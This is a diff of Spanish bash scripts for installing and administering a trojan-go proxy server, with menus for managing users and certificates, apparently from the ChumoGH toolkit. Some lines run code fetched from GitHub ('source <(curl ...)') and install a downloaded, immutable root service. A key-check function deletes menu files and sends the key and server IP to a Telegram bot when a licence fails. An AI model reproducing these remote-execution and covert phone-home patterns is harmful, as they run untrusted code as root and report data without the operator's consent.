exito" + msg -bar3 + autoDel + restroj + } || echo " USUARIO YA EXISTE " && sleep 0.5s + done +} + +renew(){ + while : + do + unset user + clear + title " RENOVAR USUARIOS" + userDat + userEpx=$(cut -d "|" -f2 $user_conf) + n=1 + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + col "$n)" "$Usr" "$DateExp" "\033[0;31m[Exp]" + uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + user[$n]=$Usr + let n++ + } + done + [[ -z ${user[1]} ]] && blanco " No hay expirados" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A RENOVAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.3 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.3 + } || { + blanco "DURACION EN DIAS" 0 + read dias + mv $config $temp + movetm=$(echo -e "${uid[$opcion]}" | sed 's/^/,"/;s/$/"/') + sed "10i\ $movetm" $temp > $config + sed -i "/${uid[$opcion]}/d" $user_conf + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm -f $temp + clear + msg -bar3 + blanco " Usuario > ${user[$opcion]} renovado hasta $(date '+%y-%m-%d' -d " +$dias days")" + sleep 5s + } + } + done +restroj +continuar +read foo +} + + +dell_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + nick="$(cat $config | grep ',"')" + users="$(cat $config | jq -r .password[])" + title " ELIMINAR USUARIO TROJAN" + userDat + n=0 + for i in $users + do + userd[$n]=$i + unset DateExp + unset seg_exp + unset exp + + [[ $i = chumoghscript ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + + col "$n)" "${Usr}" "$DateExp" "$exp" + } + p=$n + let n++ + done + userEpx=$(cut -d "|" -f2 $user_conf) + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + col "$n)" "$Usr" "$DateExp" "\033[0;31m[Exp]" + expUser[$n]=$i + let n++ + } + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A ELIMINAR" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.3 + } || { + let n-- + [[ $opcion>=${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.3 + } || { + + [[ $opcion>=${p} ]] && { + sed -i "/${expUser[$opcion]}/d" $user_conf + } || { + mv $config $temp + sed -i "/${expUser[$opcion]}/d" $user_conf + sed "/${userd[$opcion]}/ d" $temp > $config + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario ${userd[$opcion]}${expUser[$opcion]} eliminado" + msg -bar3 + sleep 0.5s + } + } + + } + done + restroj +} + +bakc() { +clear + while : + do + clear + #col "5)" "\033[1;33mCONFIGURAR Trojan" + msg -bar3 + col "1)" "\033[1;33mRestaurar Copia" + msg -bar3 + col "2)" "\033[1;33mCrear Copia" + msg -bar3 + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + msg -bar3 + blanco "opcion" 0 + read opcion + case $opcion in + 1)[[ -e config.json ]] && cp config.json /usr/local/etc/trojan/config.json || echo "No existe Copia";; + 2)[[ -e /usr/local/etc/trojan/config.json ]] && cp /usr/local/etc/trojan/config.json config.json || echo "No existe Copia";; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 2" && sleep 0.3;; + esac + done + + +} + +reintro() { +clear + while : + do + clear + #col "5)" "\033[1;33mCONFIGURAR Trojan" + msg -bar3 + col "1)" "\033[1;33mReinstalar Servicio" + msg -bar3 + col "2)" "\033[1;33mReiniciar Servicio" + msg -bar3 + col "3)" "\033[1;33mEditar Manual ( nano )" + msg -bar3 + col "4)" "\033[1;33mREGISTRAR DOMINIO " + msg -bar3 + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + msg -bar3 + blanco "opcion" 0 + read opcion + case $opcion in + 1) + trojan + ;; + 2) + [[ -e /usr/local/etc/trojan/config.json ]] && { + title "Fichero Interno Configurado" + restroj + } || echo -e "Servicio No instalado Aun" + ;; + 3) + nano /usr/local/etc/trojan/config.json + ;; + 4) + dmn=$(echo "$(ls /root/.acme.sh | grep '_ecc')" | sed 's/_ecc//') + echo -e " INGRESA TU DOMINIO REGISTRADO EN TU CERTIFICADO " + echo -e " + OJO +" + echo -e " Si validaste tu certificado con dominio ACME" + echo -e " Se tomara tu dominio automatico" + read -p " DIGITA TU DOMINIO : " -e -i $dmn domain + echo "$domain" > /etc/trojan/domain + ;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 3" && sleep 0.3;; + esac + done + + +continuar +read foo +} + +cattro () { + +clear + while : + do + clear + #col "5)" "\033[1;33mCONFIGURAR Trojan" + msg -bar3 + col "1)" "\033[1;33mMostrar fichero de CONFIG " + msg -bar3 + col "2)" "\033[1;33mEditar Config Manual ( Comando nano )" + msg -bar3 + col "3)" "\033[1;33m Cambiar RUTA CERTIFICADO" + msg -bar3 + col "4)" "\033[1;33m CAMBIAR SNI INTERNO" + msg -bar3 + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + msg -bar3 + blanco "opcion" 0 + read opcion + case $opcion in + 1) + title "Fichero Interno Configurado" + cat /usr/local/etc/trojan/config.json + blanco "Fin Fichero " + continuar + read foo + ;; + 2) + [[ -e /usr/local/etc/trojan/config.json ]] && { + title "Fichero Interno Configurado" + nano /usr/local/etc/trojan/config.json + restroj + } || echo -e "Servicio No instalado Aun" + ;; + 3) + changeCERT + restroj + ;; + 4) + changeSNI + restroj + ;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 2" && sleep 0.3;; + esac + done +continuar +} + +log_ACCESS () { +clear&&clear +tail -f /root/server.log +continuar +return +} + +view_user(){ +unset opcion + unset seg + seg=$(date +%s) + while : + do + + clear + nick="$(cat $config | grep ',"')" + users="$(cat $config | jq -r .password[])" + title " VER USUARIO TROJAN" + userDat + + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = chumoghscript ]] && { + Usr="Admin" + DateExp=" Ilimitado" + } || { + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "${Usr}" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "VER DATOS DEL USUARIO" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + n=1 + unset i + for i in $users + do + unset DateExp + unset seg_exp + unset exp + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + #col "$n)" "$i" "$DateExp" "$exp" + #[[ $n = $opcion ]] && trojanpass=$i && dataEX=$DateExp && dEX=$exp + #[[ $n = $opcion ]] && trojanpass=$i && dataEX=$DateExp && dEX=$exp + let n++ + done + let opcion-- + addip=$(wget -qO- ifconfig.me) + host=$(cat $config | jq -r .ssl.sni) + trojanport=$(cat $config | jq -r .local_port) + UUID=$(cat $config | jq -r .password[$opcion]) + DateExp="$(cat ${user_conf}|grep -w "${UUID}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + Usr="$(cat ${user_conf}|grep -w "${UUID}"|cut -d'|' -f1)" + [[ $host = null ]] && read -p " Host / SNI : " host + [[ -z $host ]] && host="null" + clear&&clear + blanco $barra + blanco " TROJAN LINK CONFIG" + blanco $barra + col "$opcion)" "${Usr}" "$DateExp" "$exp" #"${UUID}" + trojan_conf + blanco $barra + continuar + read foo + done +} + +trojan_conf (){ +[[ -e /etc/trojan/domain ]] && domain=$(cat < /etc/trojan/domain) + msg -bar3 + col2 " Remarks : " "${Usr}" + [[ -z $domain ]] || col2 " DOMAIN : " "$domain" + col2 " IP-Address: " "$addip" + col2 " Port : " "$trojanport" + col2 " Password : " "$UUID" + [[ $(cat $config | jq -r .websocket.enabled) = "true" ]] && col2 " NetWork : " "WS/TCP" || col2 " NetWork : " "TCP" + [[ ! -z $host ]] && col2 " Host/SNI : " "$host" + msg -bar3 + echo " CONFIG TCP NATIVA" + echo -e "\033[3;32m trojan://$(echo $UUID@$addip:$trojanport?sni=$host#"${Usr}" )\033[3;32m" + msg -bar3 + echo -ne "$(msg -verd "") $(msg -verm2 " ") "&& msg -bra "\033[1;41mEn APPS como HTTP Inyector,CUSTOM,Trojan,etc" + [[ $(cat $config | jq -r .websocket.enabled) = "true" ]] && echo -e "\033[3;32m trojan://$UUID@$IP:$trojanport?path=%2F&security=tls&type=ws&sni=$host\033[3;32m" || echo -e "\033[3;32m trojan://$(echo $UUID@$addip:$trojanport?sni=$host#"${Usr}" )\033[3;32m" + msg -bar3 + [[ -z $domain ]] || echo -e "\033[3;32m trojan://$(echo $UUID@$domain:$trojanport?sni=$host#"${Usr}" )\033[3;32m" + +} + +main(){ + [[ ! -e $config ]] && { + clear + msg -bar3 + blanco " No se encontro ningun archovo de configracion Trojan" + msg -bar3 + blanco " No instalo Trojan o esta usando\n una vercion diferente!!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi esta usando una vercion Trojan diferente" + echo -e " y opta por cuntinuar usando este script." + echo -e " Este puede; no funcionar correctamente" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo + } + while : + do + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + _usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") + [[ -e /bin/troj.sh ]] && enrap="\033[1;92m[ ACT ]" || enrap="\033[0;31m[ DESC ]" + [[ -e $configLOCK ]] && _v2LOCK="$(cat $configLOCK|wc -l)" || _v2LOCK=0 + clear + title2 + title " Ram: \033[1;32m$_usor \033[0;31m<<< \033[1;37mMENU Trojan \033[0;31m>>> \033[1;37mCPU: \033[1;32m$_usop" + col "1)" "CREAR NUEVO USUARIO " + col "2)" "\033[0;92mRENOVAR UN USUARIO " + col "3)" "\033[0;31mREMOVER UN USUARIO " + col "4)" "VER USUARIOS REGISTRADOS \033[1;32m( $(cat $user_conf | wc -l) )" + col "5)" "VER USUARIOS CONECTADOS " + col "b)" "LOCK/UNLOCK USUUARIO $_v2LOCK" + msg -bar3 + col "6)" "\033[1;33mENTRAR CON \033[1;31mtroj.sh $enrap" + msg -bar3 + col "7)" "\033[1;33mMostrar/Editar Fichero interno" + col "8)" "\033[1;33mMenu Avanzado Trojan" + col "9)" "\033[1;33mConf. Copias de Respaldo" + col "10)" "\033[1;33m LOG DE ACTIVIDAD" + msg -bar3 + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + msg -bar3 + blanco "SELECCION : " 0 + read opcion + + case $opcion in + 1)add_user;; + 2)renew;; + 3)dell_user;; + 4)view_user;; + 5)log_traff;; + 6)enttrada;; + 7)cattro;; + 8)reintro;; + 9)backups;; + 10)log_ACCESS;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 10" && sleep 0.3s;; + esac + done +} +#while [[ $? -eq 0 ]]; do +[[ $1 = "--restart" ]] && restroj +#[[ $? -eq 0 ]] && main +#done +main + diff --git a/Recursos/trojango-sh/trojan-sh/trojan-ARM.sh b/Recursos/trojango-sh/trojan-sh/trojan-ARM.sh new file mode 100644 index 0000000..a8e7fff --- /dev/null +++ b/Recursos/trojango-sh/trojan-sh/trojan-ARM.sh @@ -0,0 +1,98 @@ +#!/bin/bash +set -euo pipefail + +function prompt() { + while true; do + read -p "$1 [y/N] " yn + case $yn in + [Yy] ) return 0;; + [Nn]|"" ) return 1;; + esac + done +} + +if [[ $(id -u) != 0 ]]; then + echo Please run this script as root. + exit 1 +fi + +if [[ $(uname -m 2> /dev/null) != x86_64 ]]; then + echo Please run this script on x86_64 machine. +fi +NAME=trojan +NAMEDOWN=trojan-go +VERSION=$(curl -fsSL https://api.github.com/repos/p4gefau1t/trojan-go/releases/latest | grep tag_name | sed -E 's/.*"v(.*)".*/\1/') +#TARBALL="$NAMEDOWN-linux-arm.zip" +[[ $(uname -m 2> /dev/null) != x86_64 ]] && TARBALL="$NAMEDOWN-linux-arm64.zip" || TARBALL="$NAMEDOWN-linux-amd64.zip" +DOWNLOADURL="https://github.com/p4gefau1t/$NAMEDOWN/releases/download/v$VERSION/$TARBALL" +TMPDIR="$(mktemp -d)" +INSTALLPREFIX=/usr/local +DIRSHAREGEO=/usr/share/trojan-go +SYSTEMDPREFIX=/etc/systemd/system + +BINARYPATH="$INSTALLPREFIX/bin/$NAME" +CONFIGPATH="$INSTALLPREFIX/etc/$NAME/config.json" +SYSTEMDPATH="$SYSTEMDPREFIX/$NAME.service" + +echo Entering temp directory $TMPDIR... +cd "$TMPDIR" + +echo Downloading $NAME $VERSION... +curl -LO --progress-bar "$DOWNLOADURL" || wget -q --show-progress "$DOWNLOADURL" +[[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] || apt-get install unzip -y &>/dev/null +#if wget -q --show-progress https://github.com/p4gefau1t/trojan-go/releases/download/v0.10.6/trojan-go-linux-arm.zip ; then +#echo Downloading $NAME $VERSION... +#fi + + +echo Unpacking $NAME $VERSION... +unzip "$TARBALL" +[[ -d $DIRSHAREGEO ]] && rm -f $DIRSHAREGEO/* || mkdir $DIRSHAREGEO +mv geoip.dat $DIRSHAREGEO/geoip.dat +mv geosite.dat $DIRSHAREGEO/geosite.dat + +echo INSTALANDO $NAMEDOWN $VERSION to $BINARYPATH... +install -Dm755 "$NAMEDOWN" "$BINARYPATH" + +echo INSTALANDO $NAMEDOWN FICHERO DE CONFIG $CONFIGPATH... +if ! [[ -f "$CONFIGPATH" ]] || prompt "La configuración del servidor ya existe en $CONFIGPATH, ¿sobrescribir?"; then + install -Dm644 example/server.json "$CONFIGPATH" +else + echo OMITIENDO $NAMEDOWN server config... +fi + +if [[ -d "$SYSTEMDPREFIX" ]]; then + echo Installing $NAME systemd service to $SYSTEMDPATH... + if ! [[ -f "$SYSTEMDPATH" ]] || prompt "El servicio systemd ya existe en $SYSTEMDPATH, ¿sobrescribir?"; then + cat > "$SYSTEMDPATH" << EOF +[Unit] +Description=$NAME +Documentation=https://trojan-gfw.github.io/$NAME/config https://github.com/p4gefau1t/$NAME/ +After=network.target network-online.target nss-lookup.target mysql.service mariadb.service mysqld.service + +[Service] +Type=simple +StandardError=journal +ExecStart="$BINARYPATH" --config "$CONFIGPATH" +ExecReload=/bin/kill -HUP \$MAINPID +LimitNOFILE=51200 +Restart=on-failure +RestartSec=1s + +[Install] +WantedBy=multi-user.target +EOF + +# + + echo Reloading systemd daemon... + systemctl daemon-reload + else + echo Skipping installing $NAME systemd service... + fi +fi + +echo Deleting temp directory $TMPDIR... +rm -rf "$TMPDIR" + +echo Done! diff --git a/Recursos/trojango-sh/trojan.sh b/Recursos/trojango-sh/trojan.sh new file mode 100644 index 0000000..91e9deb --- /dev/null +++ b/Recursos/trojango-sh/trojan.sh @@ -0,0 +1,581 @@ +#!/bin/bash +#by @ChumoGH Oficial + +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +_apTT=$(netstat -tlpn | grep -w 80) +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".") txt[$i]="x";; +"x") txt[$i]=".";; +"5") txt[$i]="s";; +"s") txt[$i]="5";; +"1") txt[$i]="@";; +"@") txt[$i]="1";; +"2") txt[$i]="?";; +"?") txt[$i]="2";; +"4") txt[$i]="0";; +"0") txt[$i]="4";; +"/") txt[$i]="K";; +"K") txt[$i]="/";; + +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + +function chekKEY { +[[ -z ${IP} ]] && IP=$(cat < /bin/ejecutar/IPcgh) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +_double=$(curl -sSL "https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Control/Control-Bot.txt") +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Control/Control-Bot.txt +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @ChumoGH ' +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n ¡¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR! \n==================================================\n ¡¡ FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n¡¡ ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF + +rm -f /etc/folteto +rm -f /etc/adm-lite/menu* + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" INSECTO DETECTADO EN Install Trojan Plus\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" Key : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot ADMcgh de keyS ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @ChumoGH ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + +#FUN_BAR +fun_bar () { +comando="$1" +_=$( $comando > /dev/null 2>&1 ) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" +for((i=0; i<20; i++)); do +echo -ne "\033[1;31m##" +sleep 0.5 +done +echo -ne "\033[1;33m]" +sleep 1s +echo tput cuu1 tput dl1 +done +echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} + +selection_fun () { +chekKEY &> /dev/null 2>&1 +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;31m <> OPCION : " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + +source <(curl -sL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/msg-bar/msg) +[[ -e /etc/trojan/user ]] && rm -f /etc/trojan/user +trojdir="/etc/trojan" && [[ ! -d $trojdir ]] && mkdir $trojdir +user_conf="/etc/trojan/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/trojan/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +config='/usr/local/etc/trojan/config.json' +car_cert () { +[[ -d /bin/ejecutar/cert ]] && rm -f /bin/ejecutar/cert/* || mkdir /bin/ejecutar/cert +[[ -e /etc/trojan/private.key ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar3 +echo -e "Descarga el fichero URL del Certificado SSL " +echo -e $barra + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + echo -e $barra +msg -bar3 +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar3 +read -p " Pega tu Link : " urlm +cd /bin/ejecutar/cert +wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar3 +echo -ne "\033[3;49;32mZIPS Existentes : " && ls | grep zip +msg -bar3 +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ -e private.key ]] && cat private.key > /etc/trojan/private.key && echo -e " Key del Certificado cargada Exitodamente" || echo "Claves Invalidas" +[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt > /etc/trojan/fullchain.cer && echo -e " crt del Certificado cargada Exitodamente" || echo "Claves Invalidas" +rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +} + +troport () { +tittle +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +msg -bar3 +echo -ne "\033[1;33mΔ PUERTO TROJAN " +read -p ": " trojanport +trojanport=$(echo ${trojanport}|sed -e 's/[^0-9]//ig') +[[ -z ${trojanport} ]] && trojanport='180' +msg -bar3 +sed -i 's/443/'${trojanport}'/g' /usr/local/etc/trojan/config.json +echo -ne "\033[1;33mΔ CLAVE TROJAN " +read -p ": " trojanpass +trojanpass=$(echo ${trojanpass}|sed -e's/[^0-9a-z_]//ig') +msg -bar3 +[[ -z ${trojanpass} ]] && trojanpass=$(hostname) +echo -ne "\033[1;33mΔ COLOCA TU SNI " +read -p ": " trojanSNI +trojanSNI="$(echo ${trojanSNI}|sed -e 's/[^A-Za-z0-9._-$]//ig')" +[[ -z ${trojanSNI} ]] && trojanSNI='ssl.whatsapp.net' +SNI=$(cat /usr/local/etc/trojan/config.json | jq -r .ssl.sni) +new_id=$(uuidgen) +#sed -i "s%${SNI}%${trojanSNI}%g" /usr/local/etc/trojan/config.json +sed -i 's/'${SNI}'/'${trojanSNI}'/g' /usr/local/etc/trojan/config.json +msg -bar3 +sed -i 's/passtrojan/'$new_id'/g' /usr/local/etc/trojan/config.json +echo -e "\033[1;32mΔ Iniciando Trojan Server" +msg -bar3 +echo -ne "\033[1;31m[ ! ] AGREGANDO USUARIO ADMINISTRADOR " +(opcion=$trojanpass +espacios=$(echo "$opcion" | tr -d '[[:space:]]') +opcion=$espacios +echo "chumoghscript | chumoghscript | $(date '+%y-%m-%d' -d " +9999 days")" >> $user_conf +echo "$opcion | $new_id | $(date '+%y-%m-%d' -d " +999 days")" >> $user_conf +echo "$trojanpass" > ${user_conf}adm +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +unset bot_ini +PIDGEN=$(ps x|grep -v grep|grep "/usr/local/etc/trojan/config.json") +if [[ ! $PIDGEN ]]; then + msg -bar3 + read -t 5 -p " $(echo -e "\033[1;97m Poner en linea despues de un reinicio [s/n]: ")" -e -i "s" bot_ini + msg -bar3 +[[ $bot_ini = @(s|S|y|Y) ]] && { +#echo "@reboot systemctl restart trojan.service" >>/bin/autoboot +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +sed -i '/trojanserv/d' /bin/autoboot +echo -e "netstat -tlpn | grep -w ${trojanport} > /dev/null || { screen -r -S 'trojanserv' -X quit; screen -dmS trojanserv trojan --config /usr/local/etc/trojan/config.json >> /root/server.log & }" >>/bin/autoboot +[[ -z ${_apTT} ]] && { +echo -e "netstat -tlpn | grep -w 80 > /dev/null || { screen -r -S 'ws80' -X quit; screen -dmS ws80 python /etc/adm-lite/PDirect.py 80 ; }" >>/bin/autoboot +screen -dmS ws80 python /etc/adm-lite/PDirect.py 80 ; +} +echo -e "[Unit] +Description=Trojan Service by @ChumoGH +Documentation=https://trojan-gfw.github.io/trojan/config https://github.com/p4gefau1t/trojan/ +After=network.target network-online.target nss-lookup.target mysql.service mariadb.service mysqld.service +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart="$(which trojan)" --config "/usr/local/etc/trojan/config.json" >> /root/server.log & +Restart=always +RestartSec=1s +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/trojan.service + systemctl daemon-reload &>/dev/null + systemctl enable trojan &>/dev/null + systemctl start trojan &>/dev/null +} || { +sed -i '/trojanserv/d' /bin/autoboot +[[ ${MENU_OPTION} = 2 ]] && { + [[ -z ${_apTT} ]] && { + echo -e "netstat -tlpn | grep -w 80 > /dev/null || { screen -r -S 'ws80' -X quit; screen -dmS ws80 python /etc/adm-lite/PDirect.py 80 ; }" >>/bin/autoboot + screen -dmS ws80 python /etc/adm-lite/PDirect.py 80 ; + } +} +echo -e "netstat -tlpn | grep -w ${trojanport} > /dev/null || { screen -r -S 'trojanserv' -X quit; screen -dmS trojanserv trojan --config /usr/local/etc/trojan/config.json >> /root/server.log & }" >>/bin/autoboot +echo -e "[Unit] +Description=Trojan Service by @ChumoGH +Documentation=https://trojan-gfw.github.io/trojan/config https://github.com/p4gefau1t/trojan/ +After=network.target network-online.target nss-lookup.target mysql.service mariadb.service mysqld.service +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart="$(which trojan)" --config "/usr/local/etc/trojan/config.json" >> /root/server.log & +Restart=always +RestartSec=1s +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/trojan.service + systemctl daemon-reload &>/dev/null + systemctl enable trojan &>/dev/null + systemctl start trojan &>/dev/null +} +print_center -verd " AUTORESTARTS DE TROJAN-GO ENCENDIDO " +} || { +sed -i '/trojanserv/d' /bin/autoboot +echo -e "netstat -tlpn | grep -w ${trojanport} > /dev/null || { screen -r -S 'trojanserv' -X quit; screen -dmS trojanserv trojan --config /usr/local/etc/trojan/config.json >> /root/server.log & }" >>/bin/autoboot +echo -e "[Unit] +Description=Trojan Service by @ChumoGH +Documentation=https://trojan-gfw.github.io/trojan/config https://github.com/p4gefau1t/trojan/ +After=network.target network-online.target nss-lookup.target mysql.service mariadb.service mysqld.service +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart="$(which trojan)" --config "/usr/local/etc/trojan/config.json" >> /root/server.log & +Restart=always +RestartSec=1s +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/trojan.service + systemctl daemon-reload &>/dev/null + systemctl enable trojan &>/dev/null + systemctl start trojan &>/dev/null +} +[[ -e /usr/local/etc/trojan/config.json ]] && { +# $HOME/PDirect80.py 'https://www.dropbox.com/s/4z2aj25m2avmttk/PDirect.py' +if wget -O /bin/autodel-trojan.sh https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/autodel-trojan.sh &>/dev/null ; then +chmod +x /bin/autodel-trojan.sh +chattr +i /bin/autodel-trojan.sh +fi +echo -e "[Unit] +Description=UsersKillTrojan Service by @ChumoGH +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/bin/bash /bin/autodel-trojan.sh +Restart=always +RestartSec=360s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/trojankill.service + systemctl enable trojankill &>/dev/null + systemctl start trojankill &>/dev/null + systemctl daemon-reload &>/dev/null + msg -bar3 + print_center -verd " AUTODELETE DE TROJAN-GO ENCENDIDO " + msg -bar3 +} || { +kill -9 $(ps x | grep -v grep | 